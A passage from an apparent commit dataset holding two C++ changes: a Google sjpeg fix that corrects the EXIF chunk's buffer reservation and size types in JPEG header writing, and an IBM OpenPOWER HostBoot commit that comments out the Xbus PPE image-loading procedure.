'+2'\n\/\/ accounting for the 0xff?? startcode size.\n\nvoid Encoder::WriteAPP0() { \/\/ SOI + APP0\n const uint8_t kHeader0[] = {\n 0xff, 0xd8, \/\/ SOI\n 0xff, 0xe0, 0x00, 0x10, \/\/ APP0\n 0x4a, 0x46, 0x49, 0x46, 0x00, \/\/ 'JFIF'\n 0x01, 0x01, \/\/ v1.01\n 0x00, 0x00, 0x01, 0x00, 0x01, \/\/ aspect ratio = 1:1\n 0x00, 0x00 \/\/ thumbnail width\/height\n };\n bw_.Reserve(sizeof(kHeader0));\n bw_.PutBytes(kHeader0, sizeof(kHeader0));\n}\n\nbool Encoder::WriteAPPMarkers(const std::string& data) {\n if (data.size() == 0) return true;\n const size_t data_size = data.size();\n bw_.Reserve(data_size);\n bw_.PutBytes(reinterpret_cast<const uint8_t*>(data.data()), data.size());\n return true;\n}\n\nbool Encoder::WriteEXIF(const std::string& data) {\n if (data.size() == 0) return true;\n const uint8_t kEXIF[] = \"Exif\\0\";\n const size_t kEXIF_len = 6; \/\/ includes the \\0's\n const size_t data_size = data.size() + kEXIF_len + 2;\n if (data_size > 0xffff) return false;\n bw_.Reserve(data_size);\n bw_.PutByte(0xff);\n bw_.PutByte(0xe1);\n bw_.PutByte((data_size >> 8) & 0xff);\n bw_.PutByte((data_size >> 0) & 0xff);\n bw_.PutBytes(kEXIF, kEXIF_len);\n bw_.PutBytes(reinterpret_cast<const uint8_t*>(data.data()), data.size());\n return true;\n}\n\nbool Encoder::WriteICCP(const std::string& data) {\n if (data.size() == 0) return true;\n size_t data_size = data.size();\n const uint8_t* ptr = reinterpret_cast<const uint8_t*>(data.data());\n const uint8_t kICCP[] = \"ICC_PROFILE\";\n const size_t kICCP_len = 12; \/\/ includes the \\0\n const size_t chunk_size_max = 0xffff - kICCP_len - 4;\n size_t max_chunk = (data_size + chunk_size_max - 1) \/ chunk_size_max;\n if (max_chunk >= 256) return false;\n size_t seq = 1;\n while (data_size > 0) {\n size_t size = data_size;\n if (size > chunk_size_max) size = chunk_size_max;\n bw_.Reserve(size + kICCP_len + 4 + 2);\n bw_.PutByte(0xff);\n bw_.PutByte(0xe2);\n bw_.PutByte(((size + kICCP_len + 4) >> 8) & 0xff);\n bw_.PutByte(((size + kICCP_len + 4) >> 0) & 0xff);\n bw_.PutBytes(kICCP, kICCP_len);\n bw_.PutByte(seq & 0xff);\n bw_.PutByte(max_chunk & 0xff);\n bw_.PutBytes(ptr, size);\n ptr += size;\n data_size -= size;\n seq += 1;\n }\n return true;\n}\n\nbool Encoder::WriteXMP(const std::string& data) {\n if (data.size() == 0) return true;\n const uint8_t kXMP[] = \"http:\/\/ns.adobe.com\/xap\/1.0\/\";\n const size_t kXMP_size = 29;\n const size_t data_size = 2 + data.size() + kXMP_size;\n if (data_size > 0xffff) return false; \/\/ error\n bw_.Reserve(data_size + 2);\n bw_.PutByte(0xff);\n bw_.PutByte(0xe1);\n bw_.PutByte((data_size >> 8) & 0xff);\n bw_.PutByte((data_size >> 0) & 0xff);\n bw_.PutBytes(kXMP, kXMP_size);\n bw_.PutBytes(reinterpret_cast<const uint8_t*>(data.data()), data.size());\n return true;\n}\n\nvoid Encoder::WriteDQT() {\n const int data_size = 2 * 65 + 2;\n const uint8_t kDQTHeader[] = { 0xff, 0xdb, 0x00, (uint8_t)data_size };\n bw_.Reserve(data_size + 2);\n bw_.PutBytes(kDQTHeader, sizeof(kDQTHeader));\n for (int n = 0; n <= 1; ++n) {\n bw_.PutByte(n);\n const uint8_t* quant = quants_[n].quant_;\n for (int i = 0; i < 64; ++i) {\n bw_.PutByte(quant[kZigzag[i]]);\n }\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#define DATA_16b(X) ((uint8_t)((X) >> 8)), ((uint8_t)((X) & 0xff))\n\nvoid Encoder::WriteSOF() { \/\/ SOF\n const int data_size = 8 + 3 * nb_comps_;\n assert(data_size <= 255);\n const uint8_t kHeader[] = {\n 0xff, 0xc0, DATA_16b(data_size), \/\/ SOF0 marker, size\n 0x08, \/\/ 8bits\/components\n DATA_16b(H_), DATA_16b(W_), \/\/ height, width\n (uint8_t)nb_comps_ \/\/ number of components\n };\n bw_.Reserve(data_size + 2);\n bw_.PutBytes(kHeader, sizeof(kHeader));\n for (int c = 0; c < nb_comps_; ++c) {\n bw_.PutByte(c + 1);\n bw_.PutByte(block_dims_[c]);\n bw_.PutByte(quant_idx_[c]);\n }\n}\n\nvoid Encoder::WriteDHT() {\n InitCodes(false);\n const int nb_tables = (nb_comps_ == 1 ? 1 : 2);\n for (int c = 0; c < nb_tables; ++c) { \/\/ luma, chroma\n for (int type = 0; type <= 1; ++type) { \/\/ dc, ac\n const HuffmanTable* const h = Huffman_tables_[type * 2 + c];\n const int data_size = 3 + 16 + h->nb_syms_;\n assert(data_size <= 255);\n bw_.Reserve(data_size + 2);\n bw_.PutByte(0xff);\n bw_.PutByte(0xc4);\n bw_.PutByte(0x00 \/*data_size >> 8*\/);\n bw_.PutByte(data_size);\n bw_.PutByte((type << 4) | c);\n bw_.PutBytes(h->bits_, 16);\n bw_.PutBytes(h->syms_, h->nb_syms_);\n }\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid Encoder::WriteSOS() { \/\/ SOS\n const int data_size = 6 + nb_comps_ * 2;\n assert(data_size <= 255);\n const uint8_t kHeader[] = {\n 0xff, 0xda, DATA_16b(data_size), (uint8_t)nb_comps_\n };\n bw_.Reserve(data_size + 2);\n bw_.PutBytes(kHeader, sizeof(kHeader));\n for (int c = 0; c < nb_comps_; ++c) {\n bw_.PutByte(c + 1);\n bw_.PutByte(quant_idx_[c] * 0x11);\n }\n bw_.PutByte(0x00); \/\/ Ss\n bw_.PutByte(0x3f); \/\/ Se\n bw_.PutByte(0x00); \/\/ Ah\/Al\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid Encoder::WriteEOI() { \/\/ EOI\n bw_.Flush();\n \/\/ append EOI\n bw_.Reserve(2);\n bw_.PutByte(0xff);\n bw_.PutByte(0xd9);\n}\n\n} \/\/ namespace sjpeg\n<commit_msg>fix bug in data_size calculation for EXIF chunk<commit_after>\/\/ Copyright 2018 Google Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/ header and chunks writing\n\/\/\n\/\/ Author: Skal (pascal.massimino@gmail.com)\n\n#include <math.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n\n#include \"sjpegi.h\"\n\nusing namespace sjpeg;\n\nnamespace sjpeg {\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Headers\n\/\/\n\/\/ NOTE(skal): all chunks start with a startcode '0xff??' (0xffd8 e.g),\n\/\/ followed by the size of the payload *not counting the startcode*!\n\/\/ That's why you often find these 'Reserve(data_size + 2)' below, the '+2'\n\/\/ accounting for the 0xff?? startcode size.\n\nvoid Encoder::WriteAPP0() { \/\/ SOI + APP0\n const uint8_t kHeader0[] = {\n 0xff, 0xd8, \/\/ SOI\n 0xff, 0xe0, 0x00, 0x10, \/\/ APP0\n 0x4a, 0x46, 0x49, 0x46, 0x00, \/\/ 'JFIF'\n 0x01, 0x01, \/\/ v1.01\n 0x00, 0x00, 0x01, 0x00, 0x01, \/\/ aspect ratio = 1:1\n 0x00, 0x00 \/\/ thumbnail width\/height\n };\n bw_.Reserve(sizeof(kHeader0));\n bw_.PutBytes(kHeader0, sizeof(kHeader0));\n}\n\nbool Encoder::WriteAPPMarkers(const std::string& data) {\n if (data.size() == 0) return true;\n const size_t data_size = data.size();\n bw_.Reserve(data_size);\n bw_.PutBytes(reinterpret_cast<const uint8_t*>(data.data()), data.size());\n return true;\n}\n\nbool Encoder::WriteEXIF(const std::string& data) {\n if (data.size() == 0) return true;\n const uint8_t kEXIF[] = \"Exif\\0\";\n const size_t kEXIF_len = 6; \/\/ includes the \\0's\n const size_t data_size = data.size() + kEXIF_len + 2;\n if (data_size > 0xffff) return false;\n bw_.Reserve(data_size + 2);\n bw_.PutByte(0xff);\n bw_.PutByte(0xe1);\n bw_.PutByte((data_size >> 8) & 0xff);\n bw_.PutByte((data_size >> 0) & 0xff);\n bw_.PutBytes(kEXIF, kEXIF_len);\n bw_.PutBytes(reinterpret_cast<const uint8_t*>(data.data()), data.size());\n return true;\n}\n\nbool Encoder::WriteICCP(const std::string& data) {\n if (data.size() == 0) return true;\n size_t data_size = data.size();\n const uint8_t* ptr = reinterpret_cast<const uint8_t*>(data.data());\n const uint8_t kICCP[] = \"ICC_PROFILE\";\n const size_t kICCP_len = 12; \/\/ includes the \\0\n const size_t chunk_size_max = 0xffff - kICCP_len - 4;\n size_t max_chunk = (data_size + chunk_size_max - 1) \/ chunk_size_max;\n if (max_chunk >= 256) return false;\n size_t seq = 1;\n while (data_size > 0) {\n size_t size = data_size;\n if (size > chunk_size_max) size = chunk_size_max;\n bw_.Reserve(size + kICCP_len + 4 + 2);\n bw_.PutByte(0xff);\n bw_.PutByte(0xe2);\n bw_.PutByte(((size + kICCP_len + 4) >> 8) & 0xff);\n bw_.PutByte(((size + kICCP_len + 4) >> 0) & 0xff);\n bw_.PutBytes(kICCP, kICCP_len);\n bw_.PutByte(seq & 0xff);\n bw_.PutByte(max_chunk & 0xff);\n bw_.PutBytes(ptr, size);\n ptr += size;\n data_size -= size;\n seq += 1;\n }\n return true;\n}\n\nbool Encoder::WriteXMP(const std::string& data) {\n if (data.size() == 0) return true;\n const uint8_t kXMP[] = \"http:\/\/ns.adobe.com\/xap\/1.0\/\";\n const size_t kXMP_size = 29;\n const size_t data_size = 2 + data.size() + kXMP_size;\n if (data_size > 0xffff) return false; \/\/ error\n bw_.Reserve(data_size + 2);\n bw_.PutByte(0xff);\n bw_.PutByte(0xe1);\n bw_.PutByte((data_size >> 8) & 0xff);\n bw_.PutByte((data_size >> 0) & 0xff);\n bw_.PutBytes(kXMP, kXMP_size);\n bw_.PutBytes(reinterpret_cast<const uint8_t*>(data.data()), data.size());\n return true;\n}\n\nvoid Encoder::WriteDQT() {\n const size_t data_size = 2 * 65 + 2;\n const uint8_t kDQTHeader[] = { 0xff, 0xdb, 0x00, (uint8_t)data_size };\n bw_.Reserve(data_size + 2);\n bw_.PutBytes(kDQTHeader, sizeof(kDQTHeader));\n for (int n = 0; n <= 1; ++n) {\n bw_.PutByte(n);\n const uint8_t* quant = quants_[n].quant_;\n for (int i = 0; i < 64; ++i) {\n bw_.PutByte(quant[kZigzag[i]]);\n }\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#define DATA_16b(X) ((uint8_t)((X) >> 8)), ((uint8_t)((X) & 0xff))\n\nvoid Encoder::WriteSOF() { \/\/ SOF\n const size_t data_size = 3 * nb_comps_ + 8;\n assert(data_size <= 255);\n const uint8_t kHeader[] = {\n 0xff, 0xc0, DATA_16b(data_size), \/\/ SOF0 marker, size\n 0x08, \/\/ 8bits\/components\n DATA_16b(H_), DATA_16b(W_), \/\/ height, width\n (uint8_t)nb_comps_ \/\/ number of components\n };\n bw_.Reserve(data_size + 2);\n bw_.PutBytes(kHeader, sizeof(kHeader));\n for (int c = 0; c < nb_comps_; ++c) {\n bw_.PutByte(c + 1);\n bw_.PutByte(block_dims_[c]);\n bw_.PutByte(quant_idx_[c]);\n }\n}\n\nvoid Encoder::WriteDHT() {\n InitCodes(false);\n const int nb_tables = (nb_comps_ == 1 ? 1 : 2);\n for (int c = 0; c < nb_tables; ++c) { \/\/ luma, chroma\n for (int type = 0; type <= 1; ++type) { \/\/ dc, ac\n const HuffmanTable* const h = Huffman_tables_[type * 2 + c];\n const size_t data_size = 3 + 16 + h->nb_syms_;\n assert(data_size <= 255);\n bw_.Reserve(data_size + 2);\n bw_.PutByte(0xff);\n bw_.PutByte(0xc4);\n bw_.PutByte(0x00 \/*data_size >> 8*\/);\n bw_.PutByte(data_size);\n bw_.PutByte((type << 4) | c);\n bw_.PutBytes(h->bits_, 16);\n bw_.PutBytes(h->syms_, h->nb_syms_);\n }\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid Encoder::WriteSOS() { \/\/ SOS\n const size_t data_size = 3 + nb_comps_ * 2 + 3;\n assert(data_size <= 255);\n const uint8_t kHeader[] = {\n 0xff, 0xda, DATA_16b(data_size), (uint8_t)nb_comps_\n };\n bw_.Reserve(data_size + 2);\n bw_.PutBytes(kHeader, sizeof(kHeader));\n for (int c = 0; c < nb_comps_; ++c) {\n bw_.PutByte(c + 1);\n bw_.PutByte(quant_idx_[c] * 0x11);\n }\n bw_.PutByte(0x00); \/\/ Ss\n bw_.PutByte(0x3f); \/\/ Se\n bw_.PutByte(0x00); \/\/ Ah\/Al\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid Encoder::WriteEOI() { \/\/ EOI\n bw_.Flush();\n \/\/ append EOI\n bw_.Reserve(2);\n bw_.PutByte(0xff);\n bw_.PutByte(0xd9);\n}\n\n} \/\/ namespace sjpeg\n<|endoftext|>"} {"text":"<commit_before>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/io\/p9_io_xbus_image_build.C $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2015,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\/\/\/\n\/\/\/ @file p9_io_xbus_image_build.C\n\/\/\/ @brief Implements HWP that builds the Hcode image in IO Xbus PPE Sram.\n\/\/\/----------------------------------------------------------------------------\n\/\/\/ *HWP HWP Owner : Chris Steffen <cwsteffen@us.ibm.com>\n\/\/\/ *HWP HPW Backup Owner : Gary Peterson <garyp@us.ibm.com>\n\/\/\/ *HWP FW Owner : Jamie Knight <rjknight@us.ibm.com>\n\/\/\/ *HWP Team : IO\n\/\/\/ *HWP Level : 3\n\/\/\/ *HWP Consumed by : FSP:HB\n\/\/\/----------------------------------------------------------------------------\n\n\/\/--------------------------------------------------------------------------\n\/\/ Includes\n\/\/--------------------------------------------------------------------------\n#include <p9_io_xbus_image_build.H>\n#include \"p9_xip_image.h\"\n\n\/\/---------------------------------------------------------------------------\nfapi2::ReturnCode extractPpeImgXbus(void* const iImagePtr, uint8_t*& oPpeImgPtr, uint32_t& oSize)\n{\n FAPI_IMP(\"Entering getXbusImageFromHwImage.\");\n P9XipSection ppeSection;\n ppeSection.iv_offset = 0;\n ppeSection.iv_size = 0;\n\n FAPI_ASSERT(iImagePtr != NULL ,\n fapi2::P9_IO_PPE_OBUS_IMG_PTR_ERROR().set_HW_IMG_PTR(iImagePtr),\n \"Bad pointer to HW Image.\");\n\n \/\/ Pulls the IO PPE Section from the HW\/XIP Image\n \/\/ XIP(Execution In Place) -- Points to Seeprom\n FAPI_TRY(p9_xip_get_section(iImagePtr, P9_XIP_SECTION_HW_IOPPE, &ppeSection));\n\n \/\/ Point to the I\/O PPE Section in the HW\/XIP Image\n oPpeImgPtr = ppeSection.iv_offset + (uint8_t*)(iImagePtr);\n\n \/\/ From the I\/O Section, lets pull the IOO Nvlink Image.\n FAPI_TRY(p9_xip_get_section(oPpeImgPtr, P9_XIP_SECTION_IOPPE_IOF, &ppeSection));\n\n \/\/ Point to the IOO PPE Image of the I\/O PPE Section\n oPpeImgPtr = ppeSection.iv_offset + (uint8_t*)(oPpeImgPtr);\n\n \/\/ Set the Size of the IOO Image\n oSize = ppeSection.iv_size;\n\nfapi_try_exit:\n FAPI_IMP(\"Exiting getXbusImageFromHwImage.\");\n return fapi2::current_err;\n}\n\n\/\/---------------------------------------------------------------------------\nfapi2::ReturnCode scomWrite(CONST_PROC& iTgt, const uint64_t iAddr, const uint64_t iData)\n{\n fapi2::buffer<uint64_t> data64(iData);\n \/\/ Xscom -- Scom from core in Hostboot mode\n return fapi2::putScom(iTgt, iAddr, data64);\n}\n\n\/\/---------------------------------------------------------------------------\nfapi2::ReturnCode p9_io_xbus_image_build(CONST_PROC& iTgt, void* const iHwImagePtr)\n{\n FAPI_IMP(\"Entering p9_io_xbus_image_build.\");\n\n const uint64_t SRAM_BASE_ADDR = 0xFFFF000000000000ull;\n const uint64_t AUTOINC_EN = 0x8000000000000000ull;\n const uint64_t AUTOINC_DIS = 0x0000000000000000ull;\n const uint64_t HARD_RESET = 0x6000000000000000ull; \/\/ xcr cmd=110\n const uint64_t RESUME_FROM_HALT = 0x2000000000000000ull; \/\/ xcr cmd=010\n \/\/ PPE Address\n const uint64_t BASE_ADDR = 0x0000000006010840ull;\n const uint64_t MEM_ARB_CSAR = 0x000000000000000Dull | BASE_ADDR; \/\/ Sram Address Reg\n const uint64_t MEM_ARB_SCR = 0x000000000000000Aull | BASE_ADDR; \/\/ Sram Source Control Reg\n const uint64_t MEM_ARB_CSDR = 0x000000000000000Eull | BASE_ADDR; \/\/ Sram Data Reg\n const uint64_t XCR_NONE = 0x0000000000000010ull | BASE_ADDR; \/\/ External Control Reg\n\n uint64_t data = 0;\n uint8_t* pPpeImg = NULL;\n uint32_t imgSize = 0;\n\n \/\/ Get vector of xbus units from the processor\n auto xbusUnits = iTgt.getChildren<fapi2::TARGET_TYPE_XBUS>();\n\n \/\/ Make sure we have functional xbus units before we load the ppe\n if(!xbusUnits.empty())\n {\n FAPI_TRY(extractPpeImgXbus(iHwImagePtr, pPpeImg, imgSize), \"Extract PPE Image Failed.\");\n\n \/\/ PPE Reset\n FAPI_TRY(scomWrite(iTgt, XCR_NONE, HARD_RESET), \"Hard Reset Failed.\");\n\n \/\/ Set PPE Base Address\n FAPI_TRY(scomWrite(iTgt, MEM_ARB_CSAR, SRAM_BASE_ADDR), \"Set Base Address Failed.\");\n\n \/\/ Set PPE into Autoincrement Mode\n FAPI_TRY(scomWrite(iTgt, MEM_ARB_SCR, AUTOINC_EN), \"Auto-Increment Enable Failed.\");\n\n for(uint32_t i = 0; i < imgSize; i += 8)\n {\n data = (((uint64_t) * (pPpeImg + i + 0) << 56) & 0xFF00000000000000ull) |\n (((uint64_t) * (pPpeImg + i + 1) << 48) & 0x00FF000000000000ull) |\n (((uint64_t) * (pPpeImg + i + 2) << 40) & 0x0000FF0000000000ull) |\n (((uint64_t) * (pPpeImg + i + 3) << 32) & 0x000000FF00000000ull) |\n (((uint64_t) * (pPpeImg + i + 4) << 24) & 0x00000000FF000000ull) |\n (((uint64_t) * (pPpeImg + i + 5) << 16) & 0x0000000000FF0000ull) |\n (((uint64_t) * (pPpeImg + i + 6) << 8) & 0x000000000000FF00ull) |\n (((uint64_t) * (pPpeImg + i + 7) << 0) & 0x00000000000000FFull);\n\n \/\/ Write Data, as the address will be autoincremented.\n FAPI_TRY(scomWrite(iTgt, MEM_ARB_CSDR, data), \"Data Write Failed.\");\n }\n\n \/\/ Disable Auto Increment\n FAPI_TRY(scomWrite(iTgt, MEM_ARB_SCR, AUTOINC_DIS), \"Auto-Increment Disable Failed.\");\n\n \/\/ PPE Reset\n FAPI_TRY(scomWrite(iTgt, XCR_NONE, HARD_RESET), \"Hard Reset Failed.\");\n\n \/\/ PPE Resume From Halt\n FAPI_TRY(scomWrite(iTgt, XCR_NONE, RESUME_FROM_HALT), \"Resume From Halt Failed.\");\n }\n else\n {\n FAPI_INF(\"No functional xbus units found. Skipping Xbus PPE Load...\");\n }\n\nfapi_try_exit:\n FAPI_IMP(\"Exit p9_io_xbus_image_build.\");\n return fapi2::current_err;\n}\n<commit_msg>Alink Hot Repair Fix<commit_after>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/io\/p9_io_xbus_image_build.C $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2015,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\/\/\/\n\/\/\/ @file p9_io_xbus_image_build.C\n\/\/\/ @brief Implements HWP that builds the Hcode image in IO Xbus PPE Sram.\n\/\/\/----------------------------------------------------------------------------\n\/\/\/ *HWP HWP Owner : Chris Steffen <cwsteffen@us.ibm.com>\n\/\/\/ *HWP HPW Backup Owner : Gary Peterson <garyp@us.ibm.com>\n\/\/\/ *HWP FW Owner : Jamie Knight <rjknight@us.ibm.com>\n\/\/\/ *HWP Team : IO\n\/\/\/ *HWP Level : 3\n\/\/\/ *HWP Consumed by : FSP:HB\n\/\/\/----------------------------------------------------------------------------\n\n\/\/--------------------------------------------------------------------------\n\/\/ Includes\n\/\/--------------------------------------------------------------------------\n#include <p9_io_xbus_image_build.H>\n#include \"p9_xip_image.h\"\n\n\/\/---------------------------------------------------------------------------\nfapi2::ReturnCode extractPpeImgXbus(void* const iImagePtr, uint8_t*& oPpeImgPtr, uint32_t& oSize)\n{\n FAPI_IMP(\"Entering getXbusImageFromHwImage.\");\n P9XipSection ppeSection;\n ppeSection.iv_offset = 0;\n ppeSection.iv_size = 0;\n\n FAPI_ASSERT(iImagePtr != NULL ,\n fapi2::P9_IO_PPE_OBUS_IMG_PTR_ERROR().set_HW_IMG_PTR(iImagePtr),\n \"Bad pointer to HW Image.\");\n\n \/\/ Pulls the IO PPE Section from the HW\/XIP Image\n \/\/ XIP(Execution In Place) -- Points to Seeprom\n FAPI_TRY(p9_xip_get_section(iImagePtr, P9_XIP_SECTION_HW_IOPPE, &ppeSection));\n\n \/\/ Point to the I\/O PPE Section in the HW\/XIP Image\n oPpeImgPtr = ppeSection.iv_offset + (uint8_t*)(iImagePtr);\n\n \/\/ From the I\/O Section, lets pull the IOO Nvlink Image.\n FAPI_TRY(p9_xip_get_section(oPpeImgPtr, P9_XIP_SECTION_IOPPE_IOF, &ppeSection));\n\n \/\/ Point to the IOO PPE Image of the I\/O PPE Section\n oPpeImgPtr = ppeSection.iv_offset + (uint8_t*)(oPpeImgPtr);\n\n \/\/ Set the Size of the IOO Image\n oSize = ppeSection.iv_size;\n\nfapi_try_exit:\n FAPI_IMP(\"Exiting getXbusImageFromHwImage.\");\n return fapi2::current_err;\n}\n\n\/\/---------------------------------------------------------------------------\nfapi2::ReturnCode scomWrite(CONST_PROC& iTgt, const uint64_t iAddr, const uint64_t iData)\n{\n fapi2::buffer<uint64_t> data64(iData);\n \/\/ Xscom -- Scom from core in Hostboot mode\n return fapi2::putScom(iTgt, iAddr, data64);\n}\n\n\/\/---------------------------------------------------------------------------\nfapi2::ReturnCode p9_io_xbus_image_build(CONST_PROC& iTgt, void* const iHwImagePtr)\n{\n FAPI_IMP(\"Entering p9_io_xbus_image_build.\");\n \/*\n * Currently a NOP as we do not have a POR to use the xbus image.\n *\n const uint64_t SRAM_BASE_ADDR = 0xFFFF000000000000ull;\n const uint64_t AUTOINC_EN = 0x8000000000000000ull;\n const uint64_t AUTOINC_DIS = 0x0000000000000000ull;\n const uint64_t HARD_RESET = 0x6000000000000000ull; \/\/ xcr cmd=110\n const uint64_t RESUME_FROM_HALT = 0x2000000000000000ull; \/\/ xcr cmd=010\n \/\/ PPE Address\n const uint64_t BASE_ADDR = 0x0000000006010840ull;\n const uint64_t MEM_ARB_CSAR = 0x000000000000000Dull | BASE_ADDR; \/\/ Sram Address Reg\n const uint64_t MEM_ARB_SCR = 0x000000000000000Aull | BASE_ADDR; \/\/ Sram Source Control Reg\n const uint64_t MEM_ARB_CSDR = 0x000000000000000Eull | BASE_ADDR; \/\/ Sram Data Reg\n const uint64_t XCR_NONE = 0x0000000000000010ull | BASE_ADDR; \/\/ External Control Reg\n\n uint64_t data = 0;\n uint8_t* pPpeImg = NULL;\n uint32_t imgSize = 0;\n\n \/\/ Get vector of xbus units from the processor\n auto xbusUnits = iTgt.getChildren<fapi2::TARGET_TYPE_XBUS>();\n\n \/\/ Make sure we have functional xbus units before we load the ppe\n if(!xbusUnits.empty())\n {\n FAPI_TRY(extractPpeImgXbus(iHwImagePtr, pPpeImg, imgSize), \"Extract PPE Image Failed.\");\n\n \/\/ PPE Reset\n FAPI_TRY(scomWrite(iTgt, XCR_NONE, HARD_RESET), \"Hard Reset Failed.\");\n\n \/\/ Set PPE Base Address\n FAPI_TRY(scomWrite(iTgt, MEM_ARB_CSAR, SRAM_BASE_ADDR), \"Set Base Address Failed.\");\n\n \/\/ Set PPE into Autoincrement Mode\n FAPI_TRY(scomWrite(iTgt, MEM_ARB_SCR, AUTOINC_EN), \"Auto-Increment Enable Failed.\");\n\n for(uint32_t i = 0; i < imgSize; i += 8)\n {\n data = (((uint64_t) * (pPpeImg + i + 0) << 56) & 0xFF00000000000000ull) |\n (((uint64_t) * (pPpeImg + i + 1) << 48) & 0x00FF000000000000ull) |\n (((uint64_t) * (pPpeImg + i + 2) << 40) & 0x0000FF0000000000ull) |\n (((uint64_t) * (pPpeImg + i + 3) << 32) & 0x000000FF00000000ull) |\n (((uint64_t) * (pPpeImg + i + 4) << 24) & 0x00000000FF000000ull) |\n (((uint64_t) * (pPpeImg + i + 5) << 16) & 0x0000000000FF0000ull) |\n (((uint64_t) * (pPpeImg + i + 6) << 8) & 0x000000000000FF00ull) |\n (((uint64_t) * (pPpeImg + i + 7) << 0) & 0x00000000000000FFull);\n\n \/\/ Write Data, as the address will be autoincremented.\n FAPI_TRY(scomWrite(iTgt, MEM_ARB_CSDR, data), \"Data Write Failed.\");\n }\n\n \/\/ Disable Auto Increment\n FAPI_TRY(scomWrite(iTgt, MEM_ARB_SCR, AUTOINC_DIS), \"Auto-Increment Disable Failed.\");\n\n \/\/ PPE Reset\n FAPI_TRY(scomWrite(iTgt, XCR_NONE, HARD_RESET), \"Hard Reset Failed.\");\n\n \/\/ PPE Resume From Halt\n FAPI_TRY(scomWrite(iTgt, XCR_NONE, RESUME_FROM_HALT), \"Resume From Halt Failed.\");\n }\n else\n {\n FAPI_INF(\"No functional xbus units found. Skipping Xbus PPE Load...\");\n }\n\n fapi_try_exit:\n *\/\n FAPI_IMP(\"Exit p9_io_xbus_image_build.\");\n return fapi2::current_err;\n}\n<|endoftext|>"} {"text":"<commit_before>\/* 